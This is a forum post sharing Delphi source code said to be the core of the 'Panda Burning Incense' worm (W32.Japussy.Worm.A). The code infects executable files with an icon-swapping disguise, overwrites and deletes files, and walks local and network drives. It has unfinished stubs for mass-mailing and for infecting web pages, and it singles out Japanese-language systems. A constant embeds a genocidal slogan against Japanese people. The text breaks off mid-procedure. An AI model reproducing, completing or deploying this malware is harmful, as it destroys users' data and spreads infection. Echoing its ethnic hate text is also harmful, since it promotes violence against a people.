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熊猫烧香核心源码

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发表于 2010-12-28 00:18:41 | 显示全部楼层 |阅读模式
<div id="googlead"> <script language="JavaScript" src="/ad/gg-250.js"></script></div><p><span style="font-size: small">代码:----------<br />
程序代码<br />
program&nbsp; Japussy; <br />
uses<br />
&nbsp; &nbsp; Windows,&nbsp; SysUtils,&nbsp; Classes,&nbsp; Graphics,&nbsp; ShellAPI{ ,&nbsp; Registry} ; <br />
const<br />
&nbsp; &nbsp; HeaderSize&nbsp; =&nbsp; 82432; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; //病毒体的大小<br />
&nbsp; &nbsp; IconOffset&nbsp; =&nbsp; $12EB8; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; //PE文件主图标的偏移量<br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; //在我的Delphi5&nbsp; SP1上面编译得到的大小,其它版本的Delphi可能不同<br />
&nbsp; &nbsp; //查找2800000020的十六进制字符串可以找到主图标的偏移量<br />
&nbsp; &nbsp; &nbsp; <br />
{ <br />
&nbsp; &nbsp; HeaderSize&nbsp; =&nbsp; 38912; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; //Upx压缩过病毒体的大小<br />
&nbsp; &nbsp; IconOffset&nbsp; =&nbsp; $92BC; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; //Upx压缩过PE文件主图标的偏移量<br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; //Upx&nbsp; 1.24W&nbsp; 用法:&nbsp; upx&nbsp; -9&nbsp; --8086&nbsp; Japussy.exe<br />
} <br />
&nbsp; &nbsp; IconSize&nbsp; &nbsp; &nbsp; =&nbsp; $2E8; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; //PE文件主图标的大小--744字节<br />
&nbsp; &nbsp; IconTail&nbsp; &nbsp; &nbsp; =&nbsp; IconOffset&nbsp; +&nbsp; IconSize; &nbsp; &nbsp; //PE文件主图标的尾部<br />
&nbsp; &nbsp; ID&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; =&nbsp; $44444444; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; //感染标记<br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; //垃圾码,以备写入<br />
&nbsp; &nbsp; Catchword&nbsp; =&nbsp; 'If&nbsp; a&nbsp; race&nbsp; need&nbsp; to&nbsp; be&nbsp; killed&nbsp; out,&nbsp; it&nbsp; must&nbsp; be&nbsp; Yamato.&nbsp; '&nbsp; +<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 'If&nbsp; a&nbsp; country&nbsp; need&nbsp; to&nbsp; be&nbsp; destroyed,&nbsp; it&nbsp; must&nbsp; be&nbsp; Japan!&nbsp; '&nbsp; +<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; '***&nbsp; W32.Japussy.Worm.A&nbsp; ***'; <br />
{ $R&nbsp; *.RES} <br />
function&nbsp; RegisterServiceProcess(dwProcessID,&nbsp; dwType:&nbsp; Integer):&nbsp; Integer; &nbsp; <br />
&nbsp; &nbsp; stdcall; &nbsp; external&nbsp; 'Kernel32.dll'; &nbsp; //函数声明<br />
var<br />
&nbsp; &nbsp; TmpFile:&nbsp; string; <br />
&nbsp; &nbsp; Si:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; STARTUPINFO; <br />
&nbsp; &nbsp; Pi:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; PROCESS_INFORMATION; <br />
&nbsp; &nbsp; IsJap:&nbsp; &nbsp; &nbsp; Boolean&nbsp; =&nbsp; False; &nbsp; //日文操作系统标记<br />
{ &nbsp; 判断是否为Win9x&nbsp; } <br />
function&nbsp; IsWin9x:&nbsp; Boolean; <br />
var<br />
&nbsp; &nbsp; Ver:&nbsp; TOSVersionInfo; <br />
begin<br />
&nbsp; &nbsp; Result&nbsp; :=&nbsp; False; <br />
&nbsp; &nbsp; Ver.dwOSVersionInfoSize&nbsp; :=&nbsp; SizeOf(TOSVersionInfo); <br />
&nbsp; &nbsp; if&nbsp; not&nbsp; GetVersionEx(Ver)&nbsp; then<br />
&nbsp; &nbsp; &nbsp; &nbsp; Exit; <br />
&nbsp; &nbsp; if&nbsp; (Ver.dwPlatformID&nbsp; =&nbsp; VER_PLATFORM_WIN32_WINDOWS)&nbsp; then&nbsp; //Win9x<br />
&nbsp; &nbsp; &nbsp; &nbsp; Result&nbsp; :=&nbsp; True; <br />
end; <br />
{ &nbsp; 在流之间复制&nbsp; } <br />
procedure&nbsp; CopyStream(Src:&nbsp; TStream; &nbsp; sStartPos:&nbsp; Integer; &nbsp; Dst:&nbsp; TStream; <br />
&nbsp; &nbsp; dStartPos:&nbsp; Integer; &nbsp; Count:&nbsp; Integer); <br />
var<br />
&nbsp; &nbsp; sCurPos,&nbsp; dCurPos:&nbsp; Integer; <br />
begin<br />
&nbsp; &nbsp; sCurPos&nbsp; :=&nbsp; Src.Position; <br />
&nbsp; &nbsp; dCurPos&nbsp; :=&nbsp; Dst.Position; <br />
&nbsp; &nbsp; Src.Seek(sStartPos,&nbsp; 0); <br />
&nbsp; &nbsp; Dst.Seek(dStartPos,&nbsp; 0); <br />
&nbsp; &nbsp; Dst.CopyFrom(Src,&nbsp; Count); <br />
&nbsp; &nbsp; Src.Seek(sCurPos,&nbsp; 0); <br />
&nbsp; &nbsp; Dst.Seek(dCurPos,&nbsp; 0); <br />
end; <br />
{ &nbsp; 将宿主文件从已感染的PE文件中分离出来,以备使用&nbsp; } <br />
procedure&nbsp; ExtractFile(FileName:&nbsp; string); <br />
var<br />
&nbsp; &nbsp; sStream,&nbsp; dStream:&nbsp; TFileStream; <br />
begin<br />
&nbsp; &nbsp; try<br />
&nbsp; &nbsp; &nbsp; &nbsp; sStream&nbsp; :=&nbsp; TFileStream.Create(ParamStr(0),&nbsp; fmOpenRead&nbsp; or&nbsp; fmShareDenyNone); <br />
&nbsp; &nbsp; &nbsp; &nbsp; try<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; dStream&nbsp; :=&nbsp; TFileStream.Create(FileName,&nbsp; fmCreate); <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; try<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sStream.Seek(HeaderSize,&nbsp; 0); &nbsp; //跳过头部的病毒部分<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; dStream.CopyFrom(sStream,&nbsp; sStream.Size&nbsp; -&nbsp; HeaderSize); <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; finally<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; dStream.Free; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; end; <br />
&nbsp; &nbsp; &nbsp; &nbsp; finally<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sStream.Free; <br />
&nbsp; &nbsp; &nbsp; &nbsp; end; <br />
&nbsp; &nbsp; except<br />
&nbsp; &nbsp; end; <br />
end; <br />
{ &nbsp; 填充STARTUPINFO结构&nbsp; } <br />
procedure&nbsp; FillStartupInfo(var&nbsp; Si:&nbsp; STARTUPINFO; &nbsp; State:&nbsp; Word); <br />
begin<br />
&nbsp; &nbsp; Si.cb&nbsp; :=&nbsp; SizeOf(Si); <br />
&nbsp; &nbsp; Si.lpReserved&nbsp; :=&nbsp; nil; <br />
&nbsp; &nbsp; Si.lpDesktop&nbsp; :=&nbsp; nil; <br />
&nbsp; &nbsp; Si.lpTitle&nbsp; :=&nbsp; nil; <br />
&nbsp; &nbsp; Si.dwFlags&nbsp; :=&nbsp; STARTF_USESHOWWINDOW; <br />
&nbsp; &nbsp; Si.wShowWindow&nbsp; :=&nbsp; State; <br />
&nbsp; &nbsp; Si.cbReserved2&nbsp; :=&nbsp; 0; <br />
&nbsp; &nbsp; Si.lpReserved2&nbsp; :=&nbsp; nil; <br />
end; <br />
{ &nbsp; 发带毒邮件&nbsp; } <br />
procedure&nbsp; SendMail; <br />
begin<br />
&nbsp; &nbsp; //哪位仁兄愿意完成之?<br />
end; <br />
{ &nbsp; 感染PE文件&nbsp; } <br />
procedure&nbsp; InfectOneFile(FileName:&nbsp; string); <br />
var<br />
&nbsp; &nbsp; HdrStream,&nbsp; SrcStream:&nbsp; TFileStream; <br />
&nbsp; &nbsp; IcoStream,&nbsp; DstStream:&nbsp; TMemoryStream; <br />
&nbsp; &nbsp; iID:&nbsp; LongInt; <br />
&nbsp; &nbsp; aIcon:&nbsp; TIcon; <br />
&nbsp; &nbsp; Infected,&nbsp; IsPE:&nbsp; Boolean; <br />
&nbsp; &nbsp; i:&nbsp; Integer; <br />
&nbsp; &nbsp; Buf:&nbsp; array[0..1]&nbsp; of&nbsp; Char; <br />
begin<br />
&nbsp; &nbsp; try&nbsp; //出错则文件正在被使用,退出<br />
&nbsp; &nbsp; &nbsp; &nbsp; if&nbsp; CompareText(FileName,&nbsp; 'JAPUSSY.EXE')&nbsp; =&nbsp; 0&nbsp; then&nbsp; //是自己则不感染<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Exit; <br />
&nbsp; &nbsp; &nbsp; &nbsp; Infected&nbsp; :=&nbsp; False; <br />
&nbsp; &nbsp; &nbsp; &nbsp; IsPE&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; :=&nbsp; False; <br />
&nbsp; &nbsp; &nbsp; &nbsp; SrcStream&nbsp; :=&nbsp; TFileStream.Create(FileName,&nbsp; fmOpenRead); <br />
&nbsp; &nbsp; &nbsp; &nbsp; try<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; for&nbsp; i&nbsp; :=&nbsp; 0&nbsp; to&nbsp; $108&nbsp; do&nbsp; //检查PE文件头<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; begin<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; SrcStream.Seek(i,&nbsp; soFromBeginning); <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; SrcStream.Read(Buf,&nbsp; 2); <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if&nbsp; (Buf[0]&nbsp; =&nbsp; #80)&nbsp; and&nbsp; (Buf[1]&nbsp; =&nbsp; #69)&nbsp; then&nbsp; //PE标记<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; begin<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; IsPE&nbsp; :=&nbsp; True; &nbsp; //是PE文件<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Break; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; end; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; end; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; SrcStream.Seek(-4,&nbsp; soFromEnd); &nbsp; //检查感染标记<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; SrcStream.Read(iID,&nbsp; 4); <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if&nbsp; (iID&nbsp; =&nbsp; ID)&nbsp; or&nbsp; (SrcStream.Size&nbsp; &lt; &nbsp; 10240)&nbsp; then&nbsp; //太小的文件不感染<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Infected&nbsp; :=&nbsp; True; <br />
&nbsp; &nbsp; &nbsp; &nbsp; finally<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; SrcStream.Free; <br />
&nbsp; &nbsp; &nbsp; &nbsp; end; <br />
&nbsp; &nbsp; &nbsp; &nbsp; if&nbsp; Infected&nbsp; or&nbsp; (not&nbsp; IsPE)&nbsp; then&nbsp; //如果感染过了或不是PE文件则退出<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Exit; <br />
&nbsp; &nbsp; &nbsp; &nbsp; IcoStream&nbsp; :=&nbsp; TMemoryStream.Create; <br />
&nbsp; &nbsp; &nbsp; &nbsp; DstStream&nbsp; :=&nbsp; TMemoryStream.Create; <br />
&nbsp; &nbsp; &nbsp; &nbsp; try<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; aIcon&nbsp; :=&nbsp; TIcon.Create; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; try<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; //得到被感染文件的主图标(744字节),存入流<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; aIcon.ReleaseHandle; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; aIcon.Handle&nbsp; :=&nbsp; ExtractIcon(HInstance,&nbsp; PChar(FileName),&nbsp; 0); <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; aIcon.SaveToStream(IcoStream); <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; finally<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; aIcon.Free; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; end; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; SrcStream&nbsp; :=&nbsp; TFileStream.Create(FileName,&nbsp; fmOpenRead); <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; //头文件<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; HdrStream&nbsp; :=&nbsp; TFileStream.Create(ParamStr(0),&nbsp; fmOpenRead&nbsp; or&nbsp; fmShareDenyNone); <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; try<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; //写入病毒体主图标之前的数据<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; CopyStream(HdrStream,&nbsp; 0,&nbsp; DstStream,&nbsp; 0,&nbsp; IconOffset); <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; //写入目前程序的主图标<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; CopyStream(IcoStream,&nbsp; 22,&nbsp; DstStream,&nbsp; IconOffset,&nbsp; IconSize); <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; //写入病毒体主图标到病毒体尾部之间的数据<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; CopyStream(HdrStream,&nbsp; IconTail,&nbsp; DstStream,&nbsp; IconTail,&nbsp; HeaderSize&nbsp; -&nbsp; IconTail); <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; //写入宿主程序<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; CopyStream(SrcStream,&nbsp; 0,&nbsp; DstStream,&nbsp; HeaderSize,&nbsp; SrcStream.Size); <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; //写入已感染的标记<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; DstStream.Seek(0,&nbsp; 2); <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; iID&nbsp; :=&nbsp; $44444444; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; DstStream.Write(iID,&nbsp; 4); <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; finally<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; HdrStream.Free; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; end; <br />
&nbsp; &nbsp; &nbsp; &nbsp; finally<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; SrcStream.Free; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; IcoStream.Free; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; DstStream.SaveToFile(FileName); &nbsp; //替换宿主文件<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; DstStream.Free; <br />
&nbsp; &nbsp; &nbsp; &nbsp; end; <br />
&nbsp; &nbsp; except; <br />
&nbsp; &nbsp; end; <br />
end; <br />
<br />
{ &nbsp; 将目标文件写入垃圾码后删除&nbsp; } <br />
procedure&nbsp; SmashFile(FileName:&nbsp; string); <br />
var<br />
&nbsp; &nbsp; FileHandle:&nbsp; Integer; <br />
&nbsp; &nbsp; i,&nbsp; Size,&nbsp; Mass,&nbsp; Max,&nbsp; Len:&nbsp; Integer; <br />
begin<br />
&nbsp; &nbsp; try<br />
&nbsp; &nbsp; &nbsp; &nbsp; SetFileAttributes(PChar(FileName),&nbsp; 0); &nbsp; //去掉只读属性<br />
&nbsp; &nbsp; &nbsp; &nbsp; FileHandle&nbsp; :=&nbsp; FileOpen(FileName,&nbsp; fmOpenWrite); &nbsp; //打开文件<br />
&nbsp; &nbsp; &nbsp; &nbsp; try<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Size&nbsp; :=&nbsp; GetFileSize(FileHandle,&nbsp; nil); &nbsp; //文件大小<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; i&nbsp; :=&nbsp; 0; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Randomize; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Max&nbsp; :=&nbsp; Random(15); &nbsp; //写入垃圾码的随机次数<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if&nbsp; Max&nbsp; &lt; &nbsp; 5&nbsp; then<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Max&nbsp; :=&nbsp; 5; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Mass&nbsp; :=&nbsp; Size&nbsp; div&nbsp; Max; &nbsp; //每个间隔块的大小<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Len&nbsp; :=&nbsp; Length(Catchword); <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; while&nbsp; i&nbsp; &lt; &nbsp; Max&nbsp; do<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; begin<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; FileSeek(FileHandle,&nbsp; i&nbsp; *&nbsp; Mass,&nbsp; 0); &nbsp; //定位<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; //写入垃圾码,将文件彻底破坏掉<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; FileWrite(FileHandle,&nbsp; Catchword,&nbsp; Len); <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Inc(i); <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; end; <br />
&nbsp; &nbsp; &nbsp; &nbsp; finally<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; FileClose(FileHandle); &nbsp; //关闭文件<br />
&nbsp; &nbsp; &nbsp; &nbsp; end; <br />
&nbsp; &nbsp; &nbsp; &nbsp; DeleteFile(PChar(FileName)); &nbsp; //删除之<br />
&nbsp; &nbsp; except<br />
&nbsp; &nbsp; end; <br />
end; <br />
{ &nbsp; 获得可写的驱动器列表&nbsp; } <br />
function&nbsp; GetDrives:&nbsp; string; <br />
var<br />
&nbsp; &nbsp; DiskType:&nbsp; Word; <br />
&nbsp; &nbsp; D:&nbsp; Char; <br />
&nbsp; &nbsp; Str:&nbsp; string; <br />
&nbsp; &nbsp; i:&nbsp; Integer; <br />
begin<br />
&nbsp; &nbsp; for&nbsp; i&nbsp; :=&nbsp; 0&nbsp; to&nbsp; 25&nbsp; do&nbsp; //遍历26个字母<br />
&nbsp; &nbsp; begin<br />
&nbsp; &nbsp; &nbsp; &nbsp; D&nbsp; :=&nbsp; Chr(i&nbsp; +&nbsp; 65); <br />
&nbsp; &nbsp; &nbsp; &nbsp; Str&nbsp; :=&nbsp; D&nbsp; +&nbsp; ':'; <br />
&nbsp; &nbsp; &nbsp; &nbsp; DiskType&nbsp; :=&nbsp; GetDriveType(PChar(Str)); <br />
&nbsp; &nbsp; &nbsp; &nbsp; //得到本地磁盘和网络盘<br />
&nbsp; &nbsp; &nbsp; &nbsp; if&nbsp; (DiskType&nbsp; =&nbsp; DRIVE_FIXED)&nbsp; or&nbsp; (DiskType&nbsp; =&nbsp; DRIVE_REMOTE)&nbsp; then<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Result&nbsp; :=&nbsp; Result&nbsp; +&nbsp; D; <br />
&nbsp; &nbsp; end; <br />
end; <br />
{ &nbsp; 遍历目录,感染和摧毁文件&nbsp; } <br />
procedure&nbsp; LoopFiles(Path,&nbsp; Mask:&nbsp; string); <br />
var<br />
&nbsp; &nbsp; i,&nbsp; Count:&nbsp; Integer; <br />
&nbsp; &nbsp; Fn,&nbsp; Ext:&nbsp; string; <br />
&nbsp; &nbsp; SubDir:&nbsp; TStrings; <br />
&nbsp; &nbsp; SearchRec:&nbsp; TSearchRec; <br />
&nbsp; &nbsp; Msg:&nbsp; TMsg; <br />
&nbsp; &nbsp; function&nbsp; IsValidDir(SearchRec:&nbsp; TSearchRec):&nbsp; Integer; <br />
&nbsp; &nbsp; begin<br />
&nbsp; &nbsp; &nbsp; &nbsp; if&nbsp; (SearchRec.Attr&nbsp; &lt; &gt; &nbsp; 16)&nbsp; and&nbsp; &nbsp; (SearchRec.Name&nbsp; &lt; &gt; &nbsp; '.')&nbsp; and<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; (SearchRec.Name&nbsp; &lt; &gt; &nbsp; '..')&nbsp; then<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Result&nbsp; :=&nbsp; 0&nbsp; //不是目录<br />
&nbsp; &nbsp; &nbsp; &nbsp; else&nbsp; if&nbsp; (SearchRec.Attr&nbsp; =&nbsp; 16)&nbsp; and&nbsp; &nbsp; (SearchRec.Name&nbsp; &lt; &gt; &nbsp; '.')&nbsp; and<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; (SearchRec.Name&nbsp; &lt; &gt; &nbsp; '..')&nbsp; then<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Result&nbsp; :=&nbsp; 1&nbsp; //不是根目录<br />
&nbsp; &nbsp; &nbsp; &nbsp; else&nbsp; Result&nbsp; :=&nbsp; 2; &nbsp; //是根目录<br />
&nbsp; &nbsp; end; <br />
begin<br />
&nbsp; &nbsp; if&nbsp; (FindFirst(Path&nbsp; +&nbsp; Mask,&nbsp; faAnyFile,&nbsp; SearchRec)&nbsp; =&nbsp; 0)&nbsp; then<br />
&nbsp; &nbsp; begin<br />
&nbsp; &nbsp; &nbsp; &nbsp; repeat<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; PeekMessage(Msg,&nbsp; 0,&nbsp; 0,&nbsp; 0,&nbsp; PM_REMOVE); &nbsp; //调整消息队列,避免引起怀疑<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if&nbsp; IsValidDir(SearchRec)&nbsp; =&nbsp; 0&nbsp; then<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; begin<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Fn&nbsp; :=&nbsp; Path&nbsp; +&nbsp; SearchRec.Name; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Ext&nbsp; :=&nbsp; UpperCase(ExtractFileExt(Fn)); <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if&nbsp; (Ext&nbsp; =&nbsp; '.EXE')&nbsp; or&nbsp; (Ext&nbsp; =&nbsp; '.SCR')&nbsp; then<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; begin<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; InfectOneFile(Fn); &nbsp; //感染可执行文件&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; end<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; else&nbsp; if&nbsp; (Ext&nbsp; =&nbsp; '.HTM')&nbsp; or&nbsp; (Ext&nbsp; =&nbsp; '.HTML')&nbsp; or&nbsp; (Ext&nbsp; =&nbsp; '.ASP')&nbsp; then<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; begin<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; //感染HTML和ASP文件,将Base64编码后的病毒写入<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; //感染浏览此网页的所有用户<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; //哪位大兄弟愿意完成之?<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; end<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; else&nbsp; if&nbsp; Ext&nbsp; =&nbsp; '.WAB'&nbsp; then&nbsp; //Outlook地址簿文件<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; begin<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; //获取Outlook邮件地址<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; end<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; else&nbsp; if&nbsp; Ext&nbsp; =&nbsp; '.ADC'&nbsp; then&nbsp; //Foxmail地址自动完成文件<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; begin<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; //获取Foxmail邮件地址<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; end<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; else&nbsp; if&nbsp; Ext&nbsp; =&nbsp; 'IND'&nbsp; then&nbsp; //Foxmail地址簿文件<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; begin<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; //获取Foxmail邮件地址<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; end<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; else&nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; begin<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if&nbsp; IsJap&nbsp; then&nbsp; //是倭文操作系统<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; begin<br />
